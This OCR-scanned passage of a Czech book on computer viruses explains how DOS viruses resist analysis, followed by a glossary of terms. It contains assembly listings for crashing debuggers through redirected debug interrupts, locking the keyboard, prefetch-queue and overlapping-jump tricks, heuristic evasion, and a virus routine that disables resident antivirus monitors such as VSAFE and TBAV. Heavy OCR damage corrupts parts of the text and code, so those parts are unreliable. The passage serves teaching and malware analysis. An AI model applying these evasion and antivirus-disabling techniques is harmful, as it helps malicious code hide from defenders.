ti jsou zaroven i druhy obran aktivnich. Rada virti vyuziva pro pasivni formu obrany proti sta-
tickému disassembleru proloZeni kédu nevyznamngmi prefixy skokovgch instrukei & instrukci
volani podprogramu.

Dalsi, neopomenutelnou moznosti znepfijemnéni analyzy viru je hutng, dobfe optimalizova-
ng koéd. PreloZeng tvar je pak tézko srozumitelny a bez dostateéngch zkuSenosti miZze zname-
nat zmateni ¢i stop v pochopeni algoritmu. Nékteré konstrukce byly jiz uvedeny v pfedchozich
&astech knihy:
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Konstrukce Vyznamové stejné jako

cwd xor dx, dx (pro AX < 8000h)
xchg ax, bx mov bx, ax

xor ax, ax Ci sub ax, ax mov ax, O

5.2. Aktivni obrana

Aktivni obrana je snaha viru znemoznit krokovani téla viru pomoci debuggeru. V okamziku, kdy
virus zjisti pfitomnost debuggeru, dojde k jeho protiakci. Virus Whale napt. v tomto okamziku
zablokuje klavesnici. Jinou moznosti obrany je pouziti vektort ladicich pferuseni pro proménné
viru. V okamziku zapsani do takovéto proménné dojde k okamzitému zamrznuti debuggeru
a tim i pocéitace. Jedingm zplsobem, jak se vyhnout podobnym nastrahém je peclivé sledovat,
co virus provadi a pfi krokovéani téla viru tyto zépisy &i pokusy o presmérovani ladicich preru-
Sovacich vektorli nepovolit (napf. prepsat instrukcemi nop). Pozor! Zjisténi debuggeru muize
zvlast agresivni virus popudit napt. i k forméatovani disku. Pro virus plati heslo — debugger, nej-
vetsi nepfitel.

Analyza virih miZe byt velice nebezpetna a proto je vhodné vyhradit pro podobné Gcely
separatni pocitac!

Toto pravidlo plati nejen pro virology — zacate¢niky, ale i pro ostfilené programétory.

Uvedené moZnosti obran proti analjze kédu je moZné najit i v komerénich programech jako
obranu proti nezadoucim obménam koédu, tzv. ,crackovani®. Tézko fici, kdo se od koho inspi-
roval, zda pisatelé virt od komerénich programatorti ¢i naopak. Kazdopadné pravé obsluhy la-
dicich pferuSeni se stavaji teréem aktivnich obran vira proti analjze kodu viru.

5.2.1. Pfresmérovani ladicich preruseni

o Pfesmérovani ladicich pferuseni na télo viru
Virus pfesméruje obsluhy ladicich pferuseni na své télo a po ukonceni své Cinnosti je vrati
zpét operacnimu systému. Pokud neni virus krokovan nedéje se nic, v okamziku pfitomnos-
ti debuggeru dojde ke znemoznéni dalsiho krokovéani téla viru.

Xor ax, ax

mov ds, ax ; tabulka preruSovacich vektord
...0schova origindlni obsluhy int 0lh a int 03h...

mov ds:[0lh * 47, offset kill_debug ; nova obsluha

mov ds:[01lh * 4 + 2], cs ; preruSeni 01lh

mov ds:[03h * 47, offset kill_debug ; nova obsluha

mov ds:[03h * 4 + 2], cs ; preruSeni 03h

...zbylé virové akce...

...obnova origindlni obsluhy int 0lh a int 03h...

...pfeddni rizeni infikovanému programu...
kill_debug:

iret
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Je-li pti analyze viru odkrokovana uvedenéa &ast, dojde diky pfesmérovani ladicich obsluh
na télo viru k okamzitému padu debuggeru. Je pouze véci programétora, co naprogramuje
za navésti | kill_debug*, které bude virem provedeno. Nelze zapomenout na jiz v{Se uvede-
nou moznost formatovani disku & jingch zaludngch &innosti. Castou moznosti je zablokova-
ni klavesnice. Viry v tomto pfipadé nejcastgji vyuzivaji preprogramovani fadice pteruSeni
8259A naésledujici posloupnosti ptikaz, pomoci niz ovladaji preruseni IRQ ptes port 21h:

in al, 21h ; registr masek preruseni
or al, 02 ; zdkaz IRQ 1 - klavesnice
out 21h, al ; opétovné uloZzeni na port

e Pfesmérovani ladicich pferuseni na jina preruseni
Ladici pferudeni jsou v tomto pfipadé pfesmérovana na obsluhy jingch prerueni. Toto mua-
Ze byt velice nebezpetné zejména pii pfesmérovani na obsluhu preruseni 21h, kdy mize do-
jit k ndhodnému volani funkce Dosu podle momentéalniho stavu registra. Visledkem je na-
prosto nedefinovana a nepfedvidatelna ¢innost s moznymi vazngmi nasledky. Tento postup
v8ak lze velice dobfte aplikovat pfi ochrané vlastnich programtl, coZ v podstaté znemozni pfi-
mou analyzu vétsich programu.

Xor ax, ax

mov ds, ax ; tabulka preruSovacich vektorl
mov ax, es:[21h * 4] ; prenastaveni

mov ds:[0lh * 47, ax ; obsluhy int 01h

mov ax, es:[21lh * 4 + 2] ; na obsluhu

mov ds:[01lh * 4 + 27, ax ; int 21h

mov ah, 4ch ; sluzba ”Ukonci program”

int 0lh ; vola DOS!

e Vyuziti vektoru ladicich preruseni jako datové proménné
Pouziti vektort ladicich pferueni pro viznamové dileZitou proménnou (napf. v dekddovaci
smycce viru) miZe rovnéz velice znepfijemnit analgzu viru.

Xor ax, ax

mov ds, ax ; tabulka preruSovacich vektoru
...0schova origindlni obsluhy int Olh...

mov ds:[0lh * 47, 0123h ; prvni proménnd
mov ds:[0lh * 4 + 2], 3456h ; druhd proménnd

...zbylé virové akce vyuZivajici proménné...
...obnova origindlni obsluhy int 0lh...
...preddni rizeni infikovanému programu...

5.2.2. Obrana pomoci ¢asovace

Rafinovana moZnost ponechavajici ladici pferuseni naprosto nedotena. Preruseni ¢asovace (int
08h) je hardwarové pferueni, jez je vygenerovano po kazdém taktu hodin realného ¢asu (1 takt
po kazdgch 55 ms). Je-li vSak spustén napt. Turbo Debugger, neni toto preruseni vyvolano.
Nasledujici kratky demonstraéni program prezentuje moznou néstrahu uviznuti v nekoneéné
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smycce diky pfiznaku, jehoZ odblokovani ma na starosti pravé obsluha ¢asovace. Na rozdil od
krokovani je pfi normélnim béhu programu ¢asovaé vyvolén a k odblokovani pfiznaku dojde
v téle jeho obsluhy.

: Uvodni direktivy pro preklada¢ a COM program

.model tiny
.code
org 100h
prog:
Nastaveni obsluhy CasovaCe na tento program
mov ax, 3508h ; sluZzba ”Cti vektor preruSeni”
int 21h ; pro int 08h
mov word ptr cs:[int8], bx ; Uschova
mov word ptr cs:[int8 + 2], es ; origindlni obsluhy
mov dx, offset timer ; adresa nové obsluhy
mov ah, 25h ; sluzba ”Nastav vektor preruSeni”
int 21h ; v AL je stale 08h
Nekonecna smycka pro debugger
1b1:
cmp flg, 1
jne 1bl

P¥i normalnim spusténi programu je inicializaéni nulovd hodnota pfiznaku ,flg“ prepsa-
na na pozadi po vyvolani obsluhy ¢asovace (uvedend dale od nduvésti ,,timer) na hodnotu
,1% ¢imz dojde k priichodu nali¢enou pasti.

Nastaveni obsluhy CasovaCe zpét na pOvodni

push bx ; nastaveni segmentovych
pop dx ; registrd, hodnoty
push es ; ostatnich registri
pop ds ; zUustaly nezménény
int 21h
int 20h ; ukoncCeni programu
; Oblast proménnych
flg db 0 ; blokovaci priznak
int8 dd ? ; adresa plvodni obsTuhy
UZivatelskd obsluha c¢asovace
timer:
mov cs:[flg], 1 ; odblokovani priznaku
jmp dword ptr cs:[int8] ; skok na ptvodni obsluhu
end prog

Viry Casto vyuZivaji pferueni systémového i uZivatelského ¢asovace pro hlidani zmén hod-
not prerusovacich vektort. Uvedena past prostfednictvim casovace viak neni stoprocentni. Né-
které debuggery (napf. AFD) volani Casovate umoZziuji, a tak napf¥. jakmile virus SVC zjisti, Ze
nastala zména ladicich pferuseni int 01h nebo int 03h, provadi reset pocitace.
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5.2.3. Skladani kédu

Metoda G¢innd zejména proti statické analyze kédu. Principem je zmateni disassembleru
dynamickym vytvafenim koédu programu. Tento postup je Gasteéné G&inng i proti analyze
debuggerem.

¢ Prosté skladani zaplatovanim (patch)

call patch
next: ; po provedeni “call patch”:

int 20h ; mov ah, 4ch - ukoncéeni programu

int 21h ; int 21h

; Prepisem slova na adrese ”next” vznikne jind instrukce
patch:

mov word ptr cs:[offset next], 4cb4dh

ret

Podprogram ,,patch® provede ptepis instrukce ,int 20h* na ,mov ah, 4ch“, nebof hexadeci-
malni posloupnost b4 4¢ predstavuje praveé tuto instrukci. Tato zména zplsobi, Ze dojde ke zhrou-
ceni debuggeru v pfipadé, Ze na adrese ,next“ byl nastaven ,breakpoint® ¢ byl-li dan pozadavek
na provedeni celého volani ,call patch® napft. funkci ,F8 — Step“ v Turbo Debuggeru.

Poznamka:
P¥i pochopeni tohoto i nédsledujicich pfikladt je potfeba mit opét na paméti fakt, Ze
slovo je do paméti ukladano v obrdceném sledu horniho a dolniho bajtu.

e Skladani kédu s matoucimi skoky
Skoky ,,doprostfed” instrukce jsou dalsi moznosti jak vyfadit staticky disassembler z Cinnos-
ti. Zakladni princip je znazornén nasledujicimi dvéma instrukcemi:
; Hexadecimalni vyjadreni
mov ax, 02ebh ; b8 eb 02 -> jmp $+2
Jmp $-2 ; eb fc
next:

Instrukce ,jmp $-2° sko¢i o 2 baijty zpét, tj. doprostfed instrukce ,,mov ax, 02ebh* za Givod-
ni bajt b8. V tomto okamziku sled eb 02 predstavuje hexadecimalni vyjadfeni instrukce ,jmp
$+2, tj. skok ,jmp next*.

Podstatné komplikovanéjsi je nasledujici sekvence, ktera reprezentuje zamaskovani frekven-
tované instrukce ,, mov ax, 2503h*“:

Hexadecimdalni vyjadreni

mov ax, 0fe05h . b8 05 fe
Jmp $-2 ; eb fc
add ah, 3bh . 80 c4 3b

next: ; nyni AX obsahuje hodnotu 2503h!
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Princip je uz znamy, takze sledujme jakym zplisobem budou reprezentovany instrukce po
skoku do avodni instrukce ,,mov*:

mov ax, 0fe05h ; b8 05 fe ; AX = felbh
jmp $-2 ; eb fc

Skok zpét a instrukce se posunutim razem méni na:

add ax, Oebfeh ; 05 fe eb ;. AX = eal3h
cld ; fc ; nevyznamna instrukce
add ah, 3bh ; 80 c4 3b ; AX = 2503h

Pokud v zékladnim principialnim pfikladé maji lepsi disassemblery svoji $anci, zde uz nikoliv.
Takto se daji zcela zamaskovat rozlicné logické konstrukce nebo i nebezpetné instrukce typu , hlt*“.

5.2.4. Vyuziti fronty instrukci

P#i béhu programu vyuziva procesor instrukéni frontu (PIQ — Prefetch Instruction Queue), do
které je nacitano z paméti nékolik po sobé jdoucich instrukci, které maji bt vykonany. Velikost
fronty je zavisla na konkrétnim typu procesoru. Obranna metoda vyuZivajici frontu instrukci meé-
ni sémantiku kédu zménou nejblizsi instrukce & nékolika instrukci. Tato zména bude mit svij
efekt pouze v piipadé, kdy je spustén debugger; v opainém piipadé budou ménéné instrukce
jiz ulozeny ve fronté a ztstanou zcela nedotéeny. Princip je znazornén ptikladem v{pisu textu
fetézce na obrazovku:

mov ah, 9 ;: sluzba ”Zobraz retézec”

mov word ptr [offset adr_str - 2], offset is_debug

mov dx, offset no_debug ; hexa
adr_str:

int 21h ; voléani Dosu

nofde'b.u'g db ‘Debugger neni pritomen!$’
is_debug db ‘Debugger je pritomen!$’

Jde o to, kterym offsetem bude naplnén registr DX. P¥i normalnim béhu programu bude jiz
do fronty instrukci uloZeno ,,mov dx, offset no_debug“ a na obrazovce se objevi text ,Debug-
ger neni pfitomen!“. Bude-li viak uvedena sekce krokovana debuggerem, uplatni se ,,patch® in-
strukce, ktera piepiSe operand ,xx yy“ na ,mov dx, offset is_debug” a na obrazovce se objevi
text ,Debugger je pfitomen!*.

de zcela ziejmé, Ze moZnosti této metody jsou obrovské. Jestlize vyse uvedené postupy v né-
ktergch p¥ipadech zavisely také na inteligenci debuggeru, zde se jedna o metodu naprosto obec-
nou, proti niz je jedinou obranou nekrokovat kritickou ¢ast kodu. Metoda je velice G€inna i proti
antivirovgm heuristickjm metodam analjzy, které emulaci instrukéni fronty neprovadi.

Procesory fady Pentium provadéji verifikaci fronty instrukci, kdy kontroluji, zda stav ve fronté
odpovidé skuteénému stavu paméti. Uvedeny postup tedy v tomto piipadé selhava a vse uve-
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deny program bude vypisovat i pfi normélnim béhu programu ,Debugger je pfitomen!“. Diky

tomu fada virQ, vyuZivajicich triky s PIQ, zplsobi na Pentiich fadu neoéekévangch problémdi.
Dobfe naprogramované viry pro zajisténi funkénosti svgch trikt testuji druh procesoru podi-

taCe. Virus Lemming vyuZziva instrukce procesort fady 80286 a vyssich a proto testuje, vyuZi-

v

Metoda je variaci na dokumentovany oficialni postup firmy Intel.

Get_Cpu_Type:

pushf ; nacteni priznaku

pop ax ; do registru AX

push ax ; Uschova

and ax, 0fffh ; vynulovani priznaku

push ax ; chranéného

popf ; rezimu

pushf ; opétovné nacteni priznakd pro urceni,
pop ax ; zda byly operace opravdu provedeny

pop bx ; obnova

and ax, 0f000h ; vymaskovani pfiznakdt chrdnéného rezimu
cmp ax, 0f000h ; a porovnani jejich nastaveni

je cpu_8086 ; pokud nastaveni odpovida, pak je to procesor 8086

Vsechny uvedené postupy se mohou samoziejmé kombinovat a lze je velice dobfe a téinné
vyuzit i pfi psani ochrany vlastnich programu. Uvedené metody by mély jednak inspirovat a jed-
nak upozornit na mozné problémy pfi analyze virt. Obejit tyto nastrahy znamena ve vétsiné pti-
padi pfimo zasdhnout do koédu programu a k tomu je zapotfebi znaéngch zkuenosti.

5.2.5. Vypnuti rezidentnich antivirovych hlidaci

Rada virti si je védoma mozné pfitomnosti rezidentniho antivirového hlidage v operaéni pamé-
ti. Aby vyloucila moznost prozrazeni své piitomnosti, ,zabiji“ tyto hlidace bud’ pozadavkem na
odinstalaci nebo vyfazenim z €innosti pfepsanim pfislusngch instrukci.

Nasleduje elimina¢ni sekce viru Level 3. Virus eliminuje fadu antivirovgch hlida¢t formou
odinstala¢nich pozadavkt a v pfipadé rezidentnich ovladacu produktu TBAV prochézi fetézec
do paméti nainstalovanych ovladact a hleda pfisluina jmeéna.

NUMTBN = 4 ; poCet hledanych driverl
tbname db ‘TBMEMXXX™, “TBCHKXXX’, ‘TBDSKXXX’, ‘TBFILXXX’
Jjména hledanych driveru

eliminate_av:
push ax
push dx ; Uschova registrd
push ds
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Prima vypnuti jednotlivych antivirovych hlidacu

mov ah, 0ffh
xor bl, bl
int 13h ; vypina NOHARD

mov ah, Ofeh
int 13h ; vypind NOFLOPPY

mov ax, 0fal2h
mov dx, 5945h

mov bl, 31h
int 16h ; vypind VSAFE
Prochdzeni retézce nainstalovanych driverd a hledédni TBAV utilit
push cs
pop ds ; DS = segment viru
mov ah, 52h ; sluZba ”Seznam seznam”
int 21h
les bx, es:[bx + 22h] ; adresa hlavicky prvniho driveru

next_device:
mov si, offset tbname - 8 ; nastaveni na jména hledanych driver(
mov c¢x, NUMTBN ; poCet hledanych driver( = pocCet cykll
pro Tloopne
next_tb_utility:

push cx ; Uschova pocCtu jeSté nevyhleddvanych jmen
add si, 8 ; nastaveni hledaného jména driveru

lea di, [bx + 0ahl ; nastaveni jména aktudlniho driveru

mov cx, 4 ; porovnavej 4 slova

push si ; Uschova offsetu hledaného jména

repe cmpsw ; vlastni porovnani

pop si ; obnova offsetu hledaného jména

pop cx ; obnova poCtu jeSté nevyhledavanych jmen
loopne next_tb_utility ; pokud nebyla shoda, pak hledej dal$i
jne not_tb_utility ; pokud nebyla ani jedna shoda, pak zkus

dalsi driver
or byte ptr es:[0016h], 1 ; vypina TBAV utility
not_th_utility:

les bx, es:[bx] ; adresa dal$iho driveru

cmp bx, 0ffffh ; Jsme na konci retézce?

jne next_device ; pokud ne, otestuj dal$i driver
pop ds

pop dx ; obnova registri

pop ax

retn

Rada virti provadi cileny tok i proti databazim jednotlivych antivirovgch programti. Napf. vi-
rus Tequila odstrafiuje ze soubort valida¢ni kod Mc-Afeeho VirusScanu, virus Peach Gtoci na
databézi kontrolnich sou¢ti CPAV a virus Tremor vypind antivirovou ochranu obsaZenou
v MS-DOSu verze 6.00.
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5.2.6. Metody zamérené proti heuristické analyze

S rostoucim vlivem heuristické analyzy pro detekci novych viri roste pochopitelné i snaha viro-
vich tulirctl vyhnout se této formé prozrazeni. Rada specifickych metod jiz byla uvedena (tech-
nika vira EPO Windows, makrovirova modifikace citlivgjch maker 3ablony NORMAL.DOT
apod.), zbyva obecnéa rovina navrhu kodu.

Standardni vytvofeni nové sluzby pro zjisténi pfitomnosti dosového viru v paméti se stava
snadnou kofisti pro heuristickou analyzu.

mov ax, Odeadh
int 21h

cmp ax, 0Oacdch
je Jje_pritomen

Naproti tomu pouZije-li virus komplikovanéji koncipovanou obsluhu, vyuZivajici rozsifeni exis-
tujici ,normalni* sluzby, dojde ke zmateni vétsiny heuristickgch skenert.

mov ax, 3096h

mov si, 1996h

mov di, 1996h

int 21h

cmp al, 3

jne neni_pritomen
cmp si, 1997h

jne neni_pritomen
cmp di, 1997h

je Jje_pritomen

Dalsi moznosti je zamlZzeny test na ,MZ*“ resp. ,ZM“ signaturu souborti *.EXE.

mov ax, word ptr [si]

or ax, 2020h ; porovnani pres konverzi na mala pismena
cmp ax, ‘zm’

je je_to_exe_header

cmp ax,’'mz’

je je_to_exe_header

Virus Acurev pouZiva Gvodni brutalni antiheuristicky cyklus spoléhajici, Ze ¢as na heuristiku
je omezeny.

start:

mov cx, OFFFFh ; antiheuristicky
anti_one:

Jmp anti_two ; zpomalovaci
anti_two:

loop anti_one ; cyklus

Virus Mars Land pak primitivnim zplsobem plni registr AX pro volani sluzeb Dosu pomoci
zasobniku. Svého Casu byl takto obchazen DriWeb.
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push 4000h

pop ax ; sluzba zdpisu souboru na disk
int 21h

Volani sluzby zapisu resp. jakékoliv sluzby lze rizné maskovat.

mov al, 3eh ; nastaveni hodnoty AH na 40h za pomoci
add al, 2 ; aritmetickych operaci

xchg ah, al ; a jiného registru (v tomto pripadé AL)
int 21h

Pro zjisténi adresy viru v paméti je pouzivan trik s pfimym pfistupem do zasobniku.

call trik

trik: ;v zédsobniku je nadvratova adresa
mov si, sp ; pristup do zdsobniku pres registr SI
sub word ptr ss:[si], offset trik ; korekce na origindlni posun
mov bp, word ptr ss:[sil] ; vV bp je adresa
add sp, 2 ; odebrdni navratové adresy ze zasobniku

Kdyz dva délaji totéz, neni to totéz. Tam, kde je kéd na pruni pohled zmatecny a necitelng
je velice pravdépodobné, Ze jde o umysl zmést heuristiku.






API - Application Program Interface — v prosttedi Windows speciélni programové rozhrani pro
komunikaci mezi programovymi aplikacemi a jadrem systému, které mj. umoZziuje, aby pfi
sdileni systémov{ch zdrojii nedochazelo ke kolizim.

Applet — ,malj“ javovy program, kter( Ize vloZit na webovou stranku.

ASCIIZ - oznaceni textovich fetézcti ukonéengch nulovgm znakem “\O’ (konverze programo-
vaciho jazyka C a néktergch systémovych zaleZitosti MS-DOSu).

BBS - Bulletin Board System - stanice nebo sluzba pocitacovich siti, slouZici zejména jako
zdroj programu a pro ¢teni zprav (konferenci).

BIOS, ROM-BIOS - Basic Input/Output System — nedilnd soucast kazdého pocitace, tvore-
na pameéti typu ROM. Jde o pevné naprogramované rutiny prerudeni pro ovladani zaklad-
nich vstupnich a v{stupnich perifernich operaci. BIOS je nejnizsi vrstvou oddélujici hard-
ware od programl.

Boot record - zavadéci sektor (boot sektor), jehoz obsahem je program, ktery provadi zave-
deni operaéniho systému (viz téz ,MBR").

Checksum - kontrolni soucet — &islo, které jednoznaéné definuje soubor (nebo jinou mnozinu
dat). Cislo je vypocéteno algoritmem souétu jednotlivich bajtii souboru zejména s vyuZitim
operaci rotace, AND a OR nebo jiné metody zakédovani.

CRC - Cyclic Redundancy Check - unikatni numerickd hodnota reprezentujici dang soubor,
resp. jeho obsah (viz ,,Checksum®).

CMOS - Complementary Metal Oxid Semiconductor — baterii zalohovana paméf, jez je poci-
taéi vyuzivana pro nastaveni zakladni hardwarové konfigurace.

Cerv - worm — nejznaméjsi viru podobny program, jeho? tkolem je maximalni rozsifeni pomo-
ci prostych kopii svého téla prostfednictvim pocitatovych siti.

DDO - Dynamic Drive Overlay - technika zpfistupnéni plné kapacity pevnych diskii vétsich
nez 528 MB specidlnim ovladacem, jehoZ jadro je instalovano do tabulky rozdéleni pev-
ného disku. Novgjsi verze pocitatovich ROM-BIOSt podporuji tzv. méd LBA (Logical
Block Access), kter§ DDO nahrazuje na nizsi Grovni.
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Debugger - ladici program, uzivany zejména pfi tvorbé programii a analjze neznémého
programu.

DES - Data Encryption Standard - ifrovaci mechanismus na principu tajného kédovaciho
klice. P¥i nasazeni pro komunikaéni Gi€ely musi obé komunikujici strany znat hodnotu
tohoto klice. Kébdované bloky jsou 64bitové a kddovaci kli¢ je 56bitovy.

DOS, MS-DOS - zkratka pro diskovy operaéni systém. MS-DOS je pak zkratka pro verzi
firmy Microsoft.

DTA - Disk Transfer Area — systémova adresa mista pro prenos dat, vyuzivana aplikacnimi
programy.

FAQ - Frequently Asked Questions — nejcastéji kladené otazky k rizngm problematikam lidské-
ho déni na Internetu. V{chozi dokument pro hledéani informaci k dané problematice.

FAT - File Allocation Table — systémovéa datova struktura, mapujici rozlozeni jednotlivgch sou-
borli na disku resp. disketé.

FCB - File Control Block - systémova datova struktura, popisujici pravé zpracovavany soubor,
uZivana predevsim star$imi operacemi nizsich verzi MS-DOSu.

Firewall - ochranna pocitatova zed zajistujici bezpelnost vnitfntho vypocetniho systému
zejména proti ttokiim z vnéjsiho okoli.

FTP - File Transfer Protocol — jedna ze sluzeb Internetu slouZici pro pfenos soubort.

Hacker - v souvislostech s pocitati jde o ozna€eni ¢lovéka snaZiciho se ziskat neopravnéng
vstup do pocitaového systému. Obecnou snahou hackert je detailné poznat a pfipadné
vyuzit slabin zkoumaného subjektu.

Heuristika — obecna sémantické analyza kodu programu uZivana pro detekci neznamych virti.

HMA - High Memory Area - prvnich 64 kB operaéni paméti nad hranici 1 MB, ktera pfi po-
uziti ovladate HIMEM.SYS miiZze byt vyuZivana pro rezidentni programy a ovladace.

Internet — celosvétova pocéitatova sit.

Interrupt - pferuSeni — hardwarovy nebo softwarovy signal, kterg indikuje operaénimu systé-
mu provedeni specifické akce (napt. stisk klavesy).

dJokes - oznaceni Zertovngch program, které casto simuluji ¢innost virt. Nemaji za tkol $ko-
dit uzivateli, ale pouze ho polekat.

JVM - Java Virtual Machine - interpret platformové nezavislého javového kodu.

LBA - viz DDO.



Slovnicek pouzZitych pojmé a zkratek

Makrovirus - obdoba poéitacového viru ve formé makra nékterych programovych baliki,
které infikuje vytvafené soubory. Nejrozsifenéjsi jsou virovad makra textového editoru
Microsoft Word.

MBR - Master Boot Record - tabulka rozdéleni pevného disku (partition table). Specifikuje,
jakgm zplsobem je pevny disk rozdélen na mensi logické disky (viz téZ ,,Boot record*).

MCB - Memory Control Block - systémova datova struktura fidiciho bloku pameéti, ktera slou-
Zi pro spravu pfidélovani a uvolfiovani operaéni paméti programutim.

Multipartitni viry — viry, jeZ napadaji jak spustitelné soubory tak i zavadéci sektor disku.
Partition Table - viz MBR.

Polymorfni viry — viry, jejichZ télo je pfi kazdé infikaci programu vygenerovano jingm zpliso-
bem (techniky MtE, DAME apod.).

PGP - Pretty Good Privacy Program — program pro zabezpeceni zejména obsahu elektronic-
ké posty metodou Sifrovani s vefejnym kddovacim klicem (viz RSA).

PSP - Program Segment Prefix — systémova datovéa struktura kazdého spusténého programu.

RAM - Random Access Memory — oznafeni druhu paméti s moznosti pfistupu pro ¢teni
i zapis.

RFC - Request for Comments - internetové ,normy“ k Gizce zaméfenym oblastem, pfevazné
technickgch smért. Jde o obdobu dokumentli typu FAQ.

Root - kofenovy adresat na disku resp. disketé oznaceny znakem ‘\ (zpétné lomitko).

ROM - Read Only Memory — oznaceni druhu paméti s moznosti pfistupu pouze pro &tend.

RSA - Rivest, Shamir, Adleman - Sifrovaci mechanismus na principu vetejného kédovaciho
klice. Délka kédovangch bloki je vétsinou tvofena nasobky 64 bit a ¢im vétsi je délka Kli-
Ce, tim je zaSifrovani bezpelng;si.

SFT - System File Table - systémova tabulka udrzujici pfehled o aktivnich souborech, jejichz
maximalni pocet je dan p¥ikazem FILES.

Stealth viry — oznaceni virl, jeZ v realném Case maskuiji svoji pfitomnost na pocitadi.

Trojsky kun — Trojan Horse — program, kterg provadi jistou nedokumentovanou &innost
nejcastéji destruktivniho charakteru, jez nemiize uzivatel ovlivnit.

TSR - Terminate but Stay Resident — oznaceni programu, které po ukonéeni své ¢innosti zlista-
vaji nadéle aktivni v paméti.

UMB - Upper Memory Blocks — paméfova oblast Upper Memory Area mezi 640 kB a 1 MB
(segmenty AOOOh az FFFFh), ktera pfi pouziti specialnich ovlada¢l mtze byt vyuzivana
pro rezidentni programy a ovladace.
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VBS - Visual Basic Script — jeden z nejsilngjsich skriptovacich programovacich jazyku.

VRAM - Video RAM - obrazova paméf, kterou adresuji grafické adaptéry v grafickém i texto-
vém rezimu. Pocateini segment pro monochromaticky adaptér je BOOOh, pro ostatni
adaptéry pak B80Oh.

WAP - Wireless Application Protocol — protokol vyuzivang mobilnimi telefony, umoZziujici pro-
vozovat sluzby webového charakteru.

WWW - World Wide Web - jedna ze sluzeb Internetu, hypertextové orientovana, ktera integ-
ruje fadu sluzeb ,nizsi trovné“ (FTP, Telnet apod.).
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